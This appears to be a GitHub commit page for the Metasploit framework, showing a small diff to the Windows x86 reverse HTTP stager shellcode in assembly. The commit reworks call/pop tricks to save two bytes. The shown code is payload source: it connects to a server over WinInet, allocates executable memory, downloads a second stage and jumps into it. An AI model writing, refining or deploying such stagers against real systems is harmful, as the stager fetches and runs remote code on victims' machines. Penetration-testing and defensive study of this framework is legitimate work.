Skip to content

Commit e872894

Browse files
schierlmHD Moore
authored andcommitted
Shave off two more bytes for HTTP(s) stagers
1 parent 69c938f commit e872894

File tree

1 file changed

+6
-9
lines changed

1 file changed

+6
-9
lines changed

external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,9 @@ internetconnect:
6060
push ebx ; password (NULL)
6161
push ebx ; username (NULL)
6262
push dword 4444 ; PORT
63-
jmp short dbl_get_server_host ; push pointer to HOSTNAME
63+
call got_server_uri ; double call to get pointer for both server_uri and
64+
server_uri: ; server_host; server_uri is saved in EDI for later
65+
db "/12345", 0x00
6466
got_server_host:
6567
push eax ; HINTERNET hInternet
6668
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
@@ -72,10 +74,7 @@ httpopenrequest:
7274
push ebx ; accept types
7375
push ebx ; referrer
7476
push ebx ; version
75-
call got_server_uri
76-
server_uri:
77-
db "/12345", 0x00
78-
got_server_uri:
77+
push edi ; server URI
7978
push ebx ; method
8079
push eax ; hConnection
8180
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
@@ -125,9 +124,6 @@ failure:
125124
push 0x56A2B5F0 ; hardcoded to exitprocess for size
126125
call ebp
127126

128-
dbl_get_server_host:
129-
jmp get_server_host
130-
131127
allocate_memory:
132128
push byte 0x40 ; PAGE_EXECUTE_READWRITE
133129
push 0x1000 ; MEM_COMMIT
@@ -163,7 +159,8 @@ download_more:
163159
execute_stage:
164160
ret ; dive into the stored stage address
165161

166-
get_server_host:
162+
got_server_uri:
163+
pop edi
167164
call got_server_host
168165

169166
server_host:

0 commit comments

Comments
 (0)